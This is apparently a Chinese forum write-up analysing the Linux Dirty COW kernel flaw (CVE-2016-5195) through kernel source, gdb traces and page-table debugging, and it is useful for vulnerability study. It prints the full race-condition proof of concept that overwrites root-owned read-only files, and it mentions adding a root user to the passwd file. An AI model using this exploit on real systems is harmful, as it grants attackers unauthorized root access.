首页
论坛
课程
招聘
linux內核提权漏洞CVE-2016-5195
2021-2-15 15:02 6570

linux內核提权漏洞CVE-2016-5195

2021-2-15 15:02
6570

CVE-2016-5195概述

首先这篇文字不是所谓教程,只是自己确实非常喜欢二进制漏洞而写一些总结,有什么写的不妥的希望大伙指正.自己只是站在前辈们的肩膀上,做了一些复现,微调,再把过程share出来;

 

脏牛影响范围极广,存在Linux内核中已经有长达9年的时间,Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。据说Linus本人也参与了修复,可见修复难度之大.这个洞非常精致隐蔽,分析完毕后不禁拍案叫绝,感觉刺激程度堪比小说

 

那为什么叫脏牛呢,是因为这是linux的COW:copy on write 写时复制机制存在缺陷(dirty),而COW和cow谐音,所以也叫脏牛(dirtyCOW).使用脏牛,我们可在用户态下用普通用户的身份改写任意任何目录下任意用户的任意文件,甚至包括root用户的文件。试想如果给passwd文件追加一行有root权限的用户信息,就能轻松获取root权限。这个洞价值很高,据说几年前市面上有些安卓ROOT APP,采用的核心技术就是这个洞。

环境

我的环境是linux 4.7.0+ubuntu 16.04

重要的先导知识

mmap函数

mma的函数原型为mmaap(void addr/映射地址,传NULL,只有内核才知道映射到哪/, size_t length/映射区大小/,int prot/映射区权限/,int flags/标志位参数/,int fd/文件描述符/,off_t offset /映射文件偏移量*/)各个参数的含义具体为:

 

length:用来指定映射区大小,但实际映射区的大小是4k的整数倍,不能传0,不然报错

 

prot 本进程对这块内存具有什么权限,读/写/执行。

 

flags:规定mmap的工作模式,可以指定MAP_SHARED或者MAP_PRIVATE,作用分别是:

1
2
MAP_SHARED
      Share this mapping.  Updates to the mapping are visible to other processes  that  map  this  file, and are carried through to the underlying file.  (To precisely control when updates are carried through to the underlying file requires the use of msync(2).)
 

即映射的更新对其他人可见并且将此文件映射到基础文件,因此该工作模式可用于进程间通信。linux下进程间通信有socket,管道,信号,文件等,安卓还有binder,mmap这种方式属于共享内存。共享内存通信方式的本质就是读写公共内存。举个例子,Windows系统高2G的内存是所有进程公用的,如果我用一个进程把一块无用的gdt表项写成自己的数据了,那么另一个进程再去读这个表项就能读到改写后的数据,从而实现了进程间通信(X86)

1
2
MAP_PRIVATE
      Create a private copy-on-write mapping.  Updates to the mapping are not visible to other processes mapping the  same  fileand are  not carried through to the underlying file.  It is unspeci‐fied whether changes made to the file after the mmap() call  are visible in the mapped region.
 

MAP_PRIVATE就是映射成本进程的私有内存,本进程中对于这块区域的修改在其他进程中对于这个文件的映射是不可见的,并且这些改动不会传递到基础文件。

 

offset就是指定映射时文件指针的偏移量,不过这个不是像lseek那样想指哪到指就指哪,必须时4K的整数倍,一般取0.

 

mmap不是漏洞函数。但他提供了漏洞触发的必要条件

madvise函数的解释

madvise函数形如:int madvise(caddr_t addr, size_t len, int advice);在POC中,madvise所在的线程用来释放mmap出来的内存映射区和他对应的物理页,其中advice参数最为关键,摘录man文档对MADV_DONTNEED的一部分解释如下:

 

MADV_DONTNEED
Do not expect access in the near future. (For the time being, the application is finished with the given range, so the kernel can free resources associated with it.)预计再未来的一段时间不会再访问这块内存(目前程序已经结束,所以内核可以释放相应的资源)

 

在本漏洞中,我们只需要知道madvise的作用是释放虚拟内存所所在物理页即可

linux系统下跨进程读写内存的方法

windows提供了OpenProcess、ReadProcessMemory等函数用于提跨进程的虚拟内存读写,linux下是否也存在类似的三环的API不得而知,只知道读写/proc/$pid/mem一种办法,有知道的兄弟能不能提示一下?摘录对该文件的解释如下:

 

/proc/$pid/mem shows the contents of $pid's memory mapped the same way as in the process, i.e., the byte at offset x in the pseudo-file is the same as the byte at address x in the process. If an address is unmapped in the process, reading from the corresponding offset in the file returns EIO (Input/output error). For example, since the first page in a process is never mapped (so that dereferencing a NULL pointer fails cleanly rather than unintendedly accessing actual memory), reading the first byte of /proc/$pid/mem always yield an I/O error.

 

由此可知/proc/$pid/mem文件是一个伪文件,对该文件的读写等价于对PID为$pid的进程的虚拟地址空间进行读写.

 

POC中,把文件指针移动到伪文件偏移为map的地方,而map就是mmap函数把文件映射到虚拟内存后返回的虚拟地址,然后执行write就相当于对本进程中虚拟内存地址为mmap的地方执行写操作。如下

1
2
3
int f = open("/proc/self/mem",O_RDWR);
lseek(f, map, SEEK_SET);
write(f, str, strlen(str));

64位linux的四级页表映射机制(对比Windows X64)

linux x64下和Windows X64都是9-9-9-9-12分页,linux下的叫PMD,PUD,PGD,PTE,物理页面,Windows下叫的PXE,PPE,PDE,PTE,物理页面 ,这里引用一张OxLucifer前辈的图演示Linux x64下的分页机制

PROC文件系统

当对不同的linux文件执行read,write,open是调用的函数不同结果也不同,因为每一类文件都有自己对应的read,write,open函数,而一类文件对应一个file—operation结构体,该结构体存指定了该类文件具体的read,write,open等函数是什么。如下是/proc/$pid/mem/ 文件的file_operation结构体

1
2
3
4
5
6
7
static const struct file_operations proc_mem_operations = {
    .llseek        = mem_lseek,
    .read        = mem_read,
    .write        = mem_write,
    .open        = mem_open,
    .release    = mem_release,
};

当对mem文件执行write操作时,会调用mem_write,它是脏牛漏洞的起点

内存的延迟加载和COW机制

正常COW会循环执行三次follow_page_mask 第一次是因为物理页的延迟加载,第二次是因为要去掉"写标记",第三次才能正常返回物理页,简单介绍有关概念:

 

COW即copy on write,写时复制。举个例子,操作系统为了节省空间,给一些常见的dll如kernel32.dll ntdll.dll都映射成了共享内存,所有的进程都需要加载这些dll,而每个进程的dll都映射到相同的物理内存区域.这样就不用每次都重复加载dll,并且重复为他们开辟物理内存.那这样岂不是说,在其中任何一个进程中对改写dll,其他进程中的dll也相应被改变了?并不是,在windows下hook这些dll时会发现,hook只在本进程有效,在其他进程无效,对公共映射区的修改不会传导到其他进程,是因为写拷贝机制会将修改部分单独分配一个新的物理页,所有的修改发生在新物理页上,并且这个页只属于该进程,其他进程看不到,仍然使用原来的共享内存.这种只在需要修改的时候单独分配内存而不影响绝大多数未修改部分的做法就是写拷贝,其他未修改部分还是和其他所有进程共用相同的物理页的.
该视频是一个简单的讲解.他说从进程A fork出进程B的一刹那,两个进程的物理页是共享的.

 

延迟加载就是,指到真正用到某一块内存内存的内容时,操作系统才会通过缺页异常来给这个位置分配物理页,否则不给物理页(windows下的缺页异常是e号中断,感兴趣可以自行逆向).这样可以最大程度节省内存。以WindowsXP的X86汇编举例,假设从0x501000到0x502000这块内存区域之前从来没人访问过,并且编译器把已经被初始化为1的全局变量放在了0x501000(假设.data段就在这),当执行mov eax,[0x501000h]时,操作系统会发现这里本来应该有个物理页并且里面的内容是1,但现在没物理页,就会触发缺页异常,挂上物理页继续执行. 一会我们能从linux的源码里看到,第一次执行faultin_page时怎么给挂上物理页的。

分析和运行POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<stdio.h>
#include<sys/mman.h>
#include<fcntl.h>
#include<pthread.h>
#include<string.h>
 
void *map;
int f;
struct stat st;
char* name;
 
void* madviseThread(void *arg) {
  char *str;
  str = (char *)arg;
  int i, c = 0;
  for (i = 0; i < 100000000; i++) {
      c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n", c);
 
void* procselfmemThread(void *arg) {
  char *str;
  str = (char *)arg;
  int f = open("/proc/self/mem",O_RDWR);
  int i, c = 0;
  for (i = 0; i < 100000000; i++) {
    lseek(f, map, SEEK_SET);
    c += write(f, str, strlen(str));
  }
  printf("procselfmem %d\n", c);
}       
int main(int argc, char *argv[]) {
  if (argc < 3)
    return 1;
  pthread_t pth1, pth2;
  f = open(argv[1], O_RDONLY);
  fstat(f, &st);
  name = argv[1];
  map = mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f, 0);
  printf("mmap %x\n",(int)map);
  pthread_create(&pth1, NULL,madviseThread, argv[1]);
  pthread_create(&pth2, NULL,procselfmemThread, argv[2]);
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}

EXP代码开了两个线程,一个不停的往mmap映射的虚拟地址去写恶意数据,一个线程不停的用madvise释放虚拟地址所在的物理页,最终竞争的结果是,不但把原本的物理页替换成有自定义的物理页,还成功的把物理页同步到了文件里.

 

分析漏洞第一件事就是把POC跑起来:步骤为 1.将POC文件编出来后放入根文件系统中
2.创建一个普通用户test
3.切换到root用户并用root用户创建一个文件foo
4.给foo写入字符串hello,并赋予权限0404
5.切换回普通用户test,由于foo文件是root创建,导致test无法改写它。然后执行POC:./dirtyCOW foo hacku ,执行一会后退出进程,发现foo已经从hello改成了hacku,从而证实用漏洞可以修改任何权限的文件

漏洞分析

由于脏牛没有崩溃现场,无法从崩溃入手分析漏洞成因,所以要先搞懂正常COW的代码怎么运行。写了一段代码用来研究COW机制,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include<stdio.h>
#include<sys/mman.h>
#include<fcntl.h>
#include<pthread.h>
#include<string.h>
#if __WORDSIZE == 64
# ifndef __intptr_t_defined
typedef long int        intptr_t;
#  define __intptr_t_defined
# endif
typedef unsigned long int    uintptr_t;
#else
# ifndef __intptr_t_defined
typedef int            intptr_t;
#  define __intptr_t_defined
# endif
typedef unsigned int        uintptr_t;
#endif
void *map ;
int f ;
struct stat st;
char* name;
 
void worker_write(void *arg)
{
    char* str;
    str=(char*)arg;
    int f = open("/proc/self/mem",O_RDWR);
    int i,c=0;
    lseek(f,(uintptr_t)map,SEEK_SET);
    write(f,str,strlen(str));
    printf("proceselfmem %d\n\n",c);
}
 
int main(int argc,char* argv[])
{
    if(argc<3)
    {
        (void)fprintf(stderr,"%s\n","usage:dirty cow test target_file_new_content");
        return 1;
    }
    f = open(argv[1],O_RDONLY);
    fstat(f,&st);
    name = argv[1];
    map = mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f, 0);
    printf("mmap %#zx\n",(uintptr_t)map);
    getchar();
    worker_write(argv[2]);
    return 0;
 
}

脏牛全部的秘密就在于get_user_pages函数,从retry标签到switch(ret)三次循环,搞懂了三次循环的细节就搞懂了脏牛,漏洞重点关注get_user_pages函数中follow_page_mask和faultin_page,建议先把这些函数自己看一遍.

调用链

基于proc文件系统,当对mem文件进行写操作时会调用内核中mem_write函数,调用链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
handle_pte_fault   
 __handle_mm_fault   
 handle_mm_fault   
 faultin_page   
 __get_user_pages   
 __get_user_pages_locked   
 get_user_pages_remote   
 __access_remote_vm   
 access_remote_vm   
 mem_rw   
 mem_write   
 __vfs_write   
 vfs_write   
 SYSC_write   
 SyS_write   
 entry_SYSCALL_64

接下来我们从__access_remote_vm 开始分析

__access_remote_vm

access_remote_vm会传入参数int write也就是最后一个参数,来表示写/读虚拟地址,它会被传入get_user_pages_locked函数里,用来标记一个flags,这个flags是页属性的集合

1
2
3
4
5
6
7
8
9
10
11
12
if (pages)
    flags |= FOLL_GET;
if (write)/*在对/proc/self/mem执行写操作时,write就是1,是__access_remote_vm的最后一个参数传入的*/
    flags |= FOLL_WRITE;
if (force)
    flags |= FOLL_FORCE;
 
pages_done = 0;
lock_dropped = false;
for (;;) {
    ret = __get_user_pages(tsk, mm, start, nr_pages, flags, pages,
                   vmas, locked);

这个标志位很重要,以后触发漏洞会用到。
把标志位设置好后进入ret = get_user_pages(tsk, mm, start, nr_pages, flags, pages,vmas, locked);(gup.c)接下来我们会深入 get_user_pages探究COW的运行原理

正常执行COW机制中的三次"循环"

若正常执行COW机制,__get_user_pages函数中从标签retry到goto retry会循环执行三次,执行了3次follow_page_mask和2次faultin_page,重点是这两个函数.搞清楚这三次循环就搞清了内存的延迟加载和COW机制,也就搞懂了脏牛的本质。代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,unsigned long start, unsigned long nr_pages,
unsigned int gup_flags, struct page **pages,struct vm_area_struct **vmas, int *nonblocking)
{
    ...
retry:
        if (unlikely(fatal_signal_pending(current)))
            return i ? i : -ERESTARTSYS;
        cond_resched();
        page = follow_page_mask(vma, start, foll_flags, &page_mask);
        if (!page) {
            int ret;
            ret = faultin_page(tsk, vma, start, &foll_flags,
                    nonblocking);
            switch (ret) {
            case 0:
                goto retry;
    ...

cond_resched()和内核抢占和调度相关,内核态程序调用它会主动让出CPU切换线程,从而构成竞争的条件,正由于线程发生切换,才有可能用别的线程去修改pte,构成了竞争漏洞的窗口期.

 

注意如果在 mm/gup.c:573 也就是cond_resched();这里下断,由于follow_page_mask会被不同来源的代码频繁调用,为了防止误操作,我们等exp运行到getchar()时再去下断点比较稳妥,被断下时必须观察调用堆栈,确认确实是write触发了断点,不然多数时候都是read触发的,显然不是我们想要的结果.总之留意是否是写导致被断下,且不要过早下断点,不然被反复断下很烦。

第一次执行follow_page_mask

follow_page_mask执行寻页操作,就是从cr3开始,一级页表,二级页表..到页表项的过程

 

它的返回值page表示系统里的物理页的页描述符,该结构体中的flag成员变量表示该物理页具有的属性

 

当我们步过page = follow_page_mask(vma, start, foll_flags, &page_mask);后,查看page的值,

1
2
(gdb) p page
$1 = (struct page *) 0x0 <irq_stack_union>

发现居然是0.x查看内存时还会提示cannot access memeory.为什么会没有找到这个物理页呢,因为follow_page_mask用来查询页表获取虚拟地址对应的物理页,mmap虽然把foo文件映射到虚拟地址空间,但由于之前从未访问过这块虚拟内存区域,所以OS并没有给这个区域挂上实际的物理页面,按照内存的延迟分配机制,不到实际访问内存时系统永远不会给进程挂上物理页的。这也就是”延迟加载,这个在前面预科知识哪里铺垫过。

 

这里顺便提一句,就是有人可能会质疑,说万一mmap映射的区域恰好在是在已经挂好物理页的区域呢,就不执行寻页操作了,关于这点,我想说确实有这个可能,但根据我的观察,每一次mmap映射的地址都是0x1000的整数倍,比如

1
2
test@syzkaller:/home/POC$ ./second foo hacku
mmap 7ff31f772000

0x7ff31f772000是0x1000的整数倍意味着,之前这没有物理页且系统必须分配一个新的物理页给这个虚拟地址。

 

进入follow_page_mask之后会执行里面的return follow_page_pte,去寻找pte,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static struct page * follow_page_pte(struct vm_area_struct *vma,
        unsigned long address, pmd_t *pmd, unsigned int flags)
{
    ...
    ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
    pte = *ptep;
    if (!pte_present(pte)) {
        swp_entry_t entry;
        if (likely(!(flags & FOLL_MIGRATION)))
            goto no_page;
        if (pte_none(pte))
            goto no_page;
        ...
no_page:
    pte_unmap_unlock(ptep, ptl);
    if (!pte_none(pte))
        return NULL;
    return no_page_table(vma, flags);

pte_offset_map_lock就是用来寻找pte的具体函数,对该过程感兴趣可以看具体实现代码:

1
2
3
4
5
6
7
8
9
10
ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
#define pte_offset_map_lock(mm, pmd, address, ptlp) \
({                          \
    spinlock_t *__ptl = pte_lockptr(mm, pmd);   \
    pte_t *__pte = pte_offset_map(pmd, address);    \
    *(ptlp) = __ptl;                \
    spin_lock(__ptl);               \
    __pte;                      \
})
#define pte_offset_map(pmd,addr)    (__pte_map(pmd) + pte_index(addr))

pte_none(pte)返回1,不执行return NULL;最终执行return no_page_table(vma, flags),

从而第一次循环第一次执行page = follow_page_mask会返回空,回到__get_user_page后,由于page为空导致if (!page) 条件成立,进入if语句执行faultin_page

 

再次验证内存区域确实没挂上物理页:我们用gdb查看mmap的内存映射地址

1
2
(gdb) x/gx 0x7f3417146000
0x7f3417146000:    Cannot access memory at address 0x7f3417146000

(上面两个地址不一样,是因为是分两次调试的)

第一次执行faultin_page

把faultin_page函数分三部分,第一部分

1
2
3
4
5
6
7
8
9
10
11
12
if (*flags & FOLL_WRITE)
    fault_flags |= FAULT_FLAG_WRITE;
if (*flags & FOLL_REMOTE)
    fault_flags |= FAULT_FLAG_REMOTE;
if (nonblocking)
    fault_flags |= FAULT_FLAG_ALLOW_RETRY;
if (*flags & FOLL_NOWAIT)
    fault_flags |= FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_RETRY_NOWAIT;
if (*flags & FOLL_TRIED) {
    VM_WARN_ON_ONCE(fault_flags & FAULT_FLAG_ALLOW_RETRY);
    fault_flags |= FAULT_FLAG_TRIED;
}

第一部分就是检查标志位并填充:&操作是检查有没有标志位,|操作是添加标志位.page是物理页的页描述符,它里面的成员flag里面的存储页属性,比如可读可写可执行一类的进入faultin_page,所以flag有哪些属性,fault_flags也应具备。而在后续的函数参数传递中fault_flags又命名成flags,但本质上是一个东西

 

第二部分就是核心函数 即缺页处理函数:执行 ret = handle_mm_fault(mm, vma, address, fault_flags);以后会详细分析该函数.

 

第三部分是检查第二步handle_mm_fault的返回值,比如检查if (tsk)和if (ret & VM_FAULT_RETRY),但调试时发现都没执行到这两个if里面,最关键的是最后一个if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)),这个判断很重要:第二次执行faultin_page会执行*flags &= ~FOLL_WRITE会清除先前写FOLL_WRITE标志位,绕过这个标志位的校验是漏洞的关键。稍后会详细讲

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
if (tsk) {
    if (ret & VM_FAULT_MAJOR)
        tsk->maj_flt++;
    else
        tsk->min_flt++;
}
 
if (ret & VM_FAULT_RETRY) {
    if (nonblocking)
        *nonblocking = 0;
    return -EBUSY;
}
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
    *flags &= ~FOLL_WRITE;
return 0;

faultin_page的主要功能都在ret = handle_mm_fault(mm, vma, address, fault_flags)里;执行后发现已经挂上了物理页,证据就是0x7fd49db4d00是mmap的地址,观察地址存储的数据会看到ascii码是文件本身"hello",注意这是第一次执行该函数

总结第一次循环:

 

首先三环的mmap创建一个映射区映射foo文件到0x7fd49db4d00,该地址永远是0x1000的整数倍.由于没有任何代码访问到这块内存,根据内存的延迟加载,此时还没挂上物理页

 

第一次从三环执行写操作时,根据proc文件系统的设置,系统调用write实际调用了0环的access_remote_vm.一路执行到follow_page_mask,首先检查是否有物理页,发现没有物理页后进入fautin_page,给mmap的地址挂上物理页

 

再一次从retry那里执行,重复刚才查找页表项的过程,但这次有物理页了,函数正常返回(需要熟悉多级页表映射机制)
faultin_page首先会把先前的状态写入fault_flags,如果之前由于写内存执行faultin_page,就给fault_flags加上写标志位:fault_flags |= FAULT_FLAG_WRITE;相当于记录了缺页的原因。
接下来我们会深入handle_mm_fault(mm, vma, address, fault_flags)里去一探究竟

深入解析缺页处理函数faultin_page

ret = handle_mm_fault(mm, vma, address, fault_flags);才是真正的缺页处理代码,能看到fault_flags也被传了进来。

1
2
3
4
5
6
7
int handle_mm_fault(struct mm_struct *mm, struct vm_area_struct *vma,
            unsigned long address, unsigned int flags)
{
    ...
    ret = __handle_mm_fault(mm, vma, address, flags);
    ...
}

handle_mm_fault只是handle_mm_fault的封装.我们继续跟进handle_mm_fault深入分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
static int  __handle_mm_fault(struct mm_struct *mm,struct vm_area_struct *vma,unsigned long address, unsigned int flags)
{
    pgd_t *pgd;
    pud_t *pud;
    pmd_t *pmd;
    pte_t *pte;
    ...
    pgd = pgd_offset(mm, address);
    pud = pud_alloc(mm, pgd, address);
    if (!pud)
        return VM_FAULT_OOM;
    pmd = pmd_alloc(mm, pud, address);
    if (!pmd)
        return VM_FAULT_OOM;
    if (pmd_none(*pmd) && transparent_hugepage_enabled(vma)) {
        int ret = create_huge_pmd(mm, vma, address, pmd, flags);
        if (!(ret & VM_FAULT_FALLBACK))
            return ret;
    } else {
        pmd_t orig_pmd = *pmd;
        int ret;
 
        barrier();
        if (pmd_trans_huge(orig_pmd) || pmd_devmap(orig_pmd)) {
            unsigned int dirty = flags & FAULT_FLAG_WRITE;
 
            if (pmd_protnone(orig_pmd))
                return do_huge_pmd_numa_page(mm, vma, address,
                                 orig_pmd, pmd);
 
            if (dirty && !pmd_write(orig_pmd)) {
                ret = wp_huge_pmd(mm, vma, address, pmd,
                            orig_pmd, flags);
                if (!(ret & VM_FAULT_FALLBACK))
                    return ret;
            } else {
                huge_pmd_set_accessed(mm, vma, address, pmd,
                              orig_pmd, dirty);
                return 0;
            }
        }
    }
    if (unlikely(pte_alloc(mm, pmd, address)))
        return VM_FAULT_OOM;
    if (unlikely(pmd_trans_unstable(pmd) || pmd_devmap(*pmd)))
        return 0;
    pte = pte_offset_map(pmd, address);
    return handle_pte_fault(mm, vma, address, pte, pmd, flags);
}

该函数分两部分,前一个部分是分配各级别的页表项,就是给挂上pgd,pud,pmd,最终会执行return handle_pte_fault(mm, vma, address, pte, pmd, flags);来填充页表最后一项pte,即真正挂上物理页。继续跟进handle_pte_fault

 

内核代码十分庞大,无法立刻搞清每个函数的具体作用,也不清楚哪些代码起了关键作用.这时只能通过到网上查找相关函数的介绍,或者调试来一步步确定。调试时一层层的封装加上浩如烟海的细节让人迷茫,不过付出耐心和时间还是能搞清楚的.

 

我把handle_pte_fault分成两部分看,第一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
barrier();
if (!pte_present(entry)) {
    if (pte_none(entry)) {
        if (vma_is_anonymous(vma))
            return do_anonymous_page(mm, vma, address,
                         pte, pmd, flags);
        else
            return do_fault(mm, vma, address, pte, pmd,
                    flags, entry);
    }
    //当pte所对应的page不在内存中,且pte对应的内容不为0时,表示此时pte的内容所对应的页面在swap空间中,是在磁盘里
    //缺页异常时会通过do_swap_page()函数来分配页面
    return do_swap_page(mm, vma, address,
                pte, pmd, flags, entry);
}

pte_present(entry)用于检查P标志位是否为1,若pte有对应物理页,即在内存中返回1,没有返回0.pte_none检查pte是否可交换.然后根据情况分别使用do_anonymous_page,do_fault,do_swap_page挂物理页.比如当pte所对应的page不在内存中,且pte对应的内容不为0时,表示此时pte的内容所对应的页面在swap空间中,是在磁盘里,此时缺页异常时会通过do_swap_page()函数来分配页面.

 

第一次执行handle_pte_fault会触发if (!pte_present(entry)) -> if (pte_none(entry)) -> if (vma_is_anonymous(vma)) -> return do_fault(mm, vma, address, p flags, entry);

 

最终调用return do_fault(mm, vma, address, pte, pmd,flags, entry);do_fault里有三个函数,do_read_fault,do_cow_fault和do_shared_fault,分别是由于read,write和访问共享内存时的触发缺页时对应的处理函数,do_fault作用就是挂物理页,由于我们执行write操作才来的这,所以会执行do_cow_fault

 

执行之前,S x/gx address 指令显示S Cannot access memory at address 0x7f1bb6dc3000执行之后再次执行S x/gx address,结果变成了 S 0x7f1bb6dc3000: 0x00000a6f6c6c6568 证实物理页已经挂载,且内容就是foo文件里的内容“hello”的ASCII码

 

然后是第二部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    ...
    if (pte_protnone(entry))
        return do_numa_page(mm, vma, address, entry, pte, pmd);
 
    ptl = pte_lockptr(mm, pmd);
    spin_lock(ptl);
    if (unlikely(!pte_same(*pte, entry)))
        goto unlock;
    if (flags & FAULT_FLAG_WRITE) {  //如果异常由写访问触发
        if (!pte_write(entry))//检查是否可以写入该页,如果对应的page不可写执行do_wp_page写拷贝操作
            return do_wp_page(mm, vma, address,
                    pte, pmd, ptl, entry);//此时必须进行写时复制的操作
        entry = pte_mkdirty(entry);
    }
    entry = pte_mkyoung(entry);
    if (ptep_set_access_flags(vma, address, pte, entry, flags & FAULT_FLAG_WRITE)) {
        update_mmu_cache(vma, address, pte);
    } else {
        if (flags & FAULT_FLAG_WRITE)
            flush_tlb_fix_spurious_fault(vma, address);
    }
unlock:
    pte_unmap_unlock(pte, ptl);
    return 0;

这部分第一次循环时用不到,第二次循环时这部分代码是重点.到时候再分析

第二次执行follow_page_mask

它的作用是查找虚拟地址对应的物理页,并返回该页的页描述符page.
第一次执行follow_page_mask,由于内存延迟加载,此时虚拟地址还没有对应的物理页,返回page为空很正常,第一次执行faultin_page挂上了物理页后,第二次执行follow_page_mask,应该可以找到物理页了,但是通过调试可知,第二次执行又返回0,为什么仍然返回0?不是已经挂上物理页了吗,还需要再跟踪

 

follow_page_pte函数第一次在

1
2
3
4
5
6
7
8
if (likely(!(flags & FOLL_MIGRATION)))
    goto no_page
........
no_page:
    pte_unmap_unlock(ptep, ptl);
    if (!pte_none(pte))
        return NULL;
    return no_page_table(vma, flags);

由于pte_none(pte)不为0从而返回NULL;
和上一次不同的是,执行到return follow_page_pte时,第二次在下面的代码处返回。

1
2
3
4
if ((flags & FOLL_WRITE) && !pte_write(pte)) {
    pte_unmap_unlock(ptep, ptl);
    return NULL;
}

再次返回空的原因有2点,flags的FOLL_WRITE标志位被置位,且这个pte不可写.

 

之前提过第一次执行faultin_page,发现如果是由于写内存而缺页处理的,会给flag加一个标志位FOLL_WRITE,

1
2
if (*flags & FOLL_WRITE)
    fault_flags |= FAULT_FLAG_WRITE;

那个时候就证明了flags的FOLL_WRITE确实已经被置一.这里肯定更了,].

 

pte为什么不可写呢?我们在root用户下创建foo,chmod赋予了0404权限后在普通用户下以private方式mmap映射到内存中,这个pte肯定不可写.所以一定会再次返回空.

 

FOLL_WRITE啥时候加上的呢,大家可能已经忘记了,是在__get_user_pages里通过

1
2
if (write)
    flags |= FOLL_WRITE;

加上的,wirte从哪里来呢,如果顺着堆栈找,发现系统调用刚进内核就已经有了这个标记了,然后一直往子函数里传.

 

所以总结一下,follow_page_mask两次返回值一第一次执行faultin_page,返回值为空用page接收,page定义成struct page *page,他用来描述对应物理页面,第一次执行follow_page_mask时的确还没有挂上物理页,faultin_page函数会给mmap函数返回的虚拟地址挂上物理页面,第二次执行follow_page_mask时,按理说物理页有了,返回page应该不是空了。但又因为尝试写一个不具有写属性的物理PTE,并且FOLL_WRITE被置位而再次返回NULL,必须第二次执行faultin_page

第二次执行faultin_page

上次分析faultin_page函数时,留了一个小尾巴,就是handle_pte_fault的第二部分我们没有分析,因为第一次执行faultin_page只执行了handle_pte_fault的第一部分,上次执行了do_fault()函数后物理页已经被挂上了所以这次if (!pte_present(entry)) {}条件就不满足了,就会执handle_pte_fault的第二部分

1
2
3
4
5
if (flags & FAULT_FLAG_WRITE) {  //如果异常由写访问触发
    if (!pte_write(entry))//检查是否可以写入该页,如果对应的page不可写执行do_wp_page写拷贝操作
        return do_wp_page(mm, vma, address,
                pte, pmd, ptl, entry);//此时必须进行写时复制的操作
    entry = pte_mkdirty(entry);

这次的执行流程如下:

 

do_wp_page()是COW机制用来处理缺页的函数,里面涉及到和匿名页的代码可以不用看,和swap交换分区,内存和磁盘互相缓存的一套也和漏洞没关系,具体看do_wp_page()的一个代码片段

1
2
3
4
5
6
7
8
if (reuse_swap_page(old_page, &total_mapcount)) { 
    if (total_mapcount == 1) {
        page_move_anon_rmap(old_page, vma);
    }
    unlock_page(old_page);
    return wp_page_reuse(mm, vma, address, page_table, ptl,
                 orig_pte, old_page, 0, 0);
}

意思是,会重新使用上一次do_cow_fault已经分配好的物理页,不再开辟新的副本页
(由于是同一进程访问自身内存,所以实际上只有一个物理页面)
关于这个函数,感兴趣的同学可参考用户空间缺页异常handle_pte_fault()分析--(下)--写时复制.

 

执行完do_wp_page,退出并返回到faultin_page后,还执行了

1
2
3
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
    *flags &= ~FOLL_WRITE;
return 0;

这个步骤去掉了flags的FOLL_WRITE标志位,回顾一下在哪加的这个标记:

1
2
3
4
5
6
if (pages)
    flags |= FOLL_GET;
if (write) /*在对/proc/self/mem执行写操作时,write就是1,是__access_remote_vm的最后一个参数传入的*/
    flags |= FOLL_WRITE;
if (force)
    flags |= FOLL_FORCE;

之前反复提到flags的这个标志位我们应该不陌生了,正是这个标记的阻挠,第二次follow_page_mask无法正常返回page,这次我们要把它去掉,那么第三次follow_page_mask就能正常返回page了

 

总结一下,第一次执行faultin_page里的handle_pte_fault里的do_cow_fault挂上了物理页面,第二次执行faultin_page有两个关键点,一个是执行真正的COW函数:do_wp_page,第二个是去掉flags的写标记

第三次执行follow_page_mask

到第三次循环,执行follow_page_mask前,p* page 的结果是0xffff8800910b2c00: 0x0000000000000000,执行后,page结构体就被填充

 

再总结:第一次follow_page_mask返回空因为没挂物理页,第二次follow_page_mask返也回空是由于pte不可写且没有清除写标志位导致.第三次就没了写标记也有了物理页,就正常返回page.以上是正常的COW过程.有了上面的分析,接下来就能进入真正的漏洞复现环节

搭建能读写物理页的内核调试环境

脏牛没有崩溃现场,无法进行奔溃分析,复现还需要操作物理页.传统qemu+gdb不能完全满足需求,我按照OxLucifer:[原创]Linux内核漏洞调试环境搭建的经验分享里提供的方法,最终实现目标.非常感谢大佬,救我于水火,大佬构思之精巧让人叹为观止...注意,第二个gdb要用sudo去attach到qemu进程,不然读写gpa2hva转换后的虚拟地址是发现没权限.

 

在此之上我还做了些改进,由于每次计算各级页表偏移很麻烦,于是用python写了个gdb插件定义了一个v2p命令来解析,它的好处是,一方面断到内核后,我能拿到内核cr3相当于绕过了KPTI,另一方面解析出了各级目录的索引值及偏移.效果如下.这个gdb插件我会放到附件里

 

 

配合上面的结果做个四级页表映射演示.如下图所示,6c6c6568是ASCII的"lleh",我文件里是hello.这里用小字节序读了四字节,结果符合预期

 

 

然后用gpa2hva得到物理页在qemu进程的虚拟地址,最后用gdb附加该进程并修改这个地址就能改写对应的物理页了

漏洞的成因和复现

借用星盟安全大牛GraVity0大佬的总结

 

 

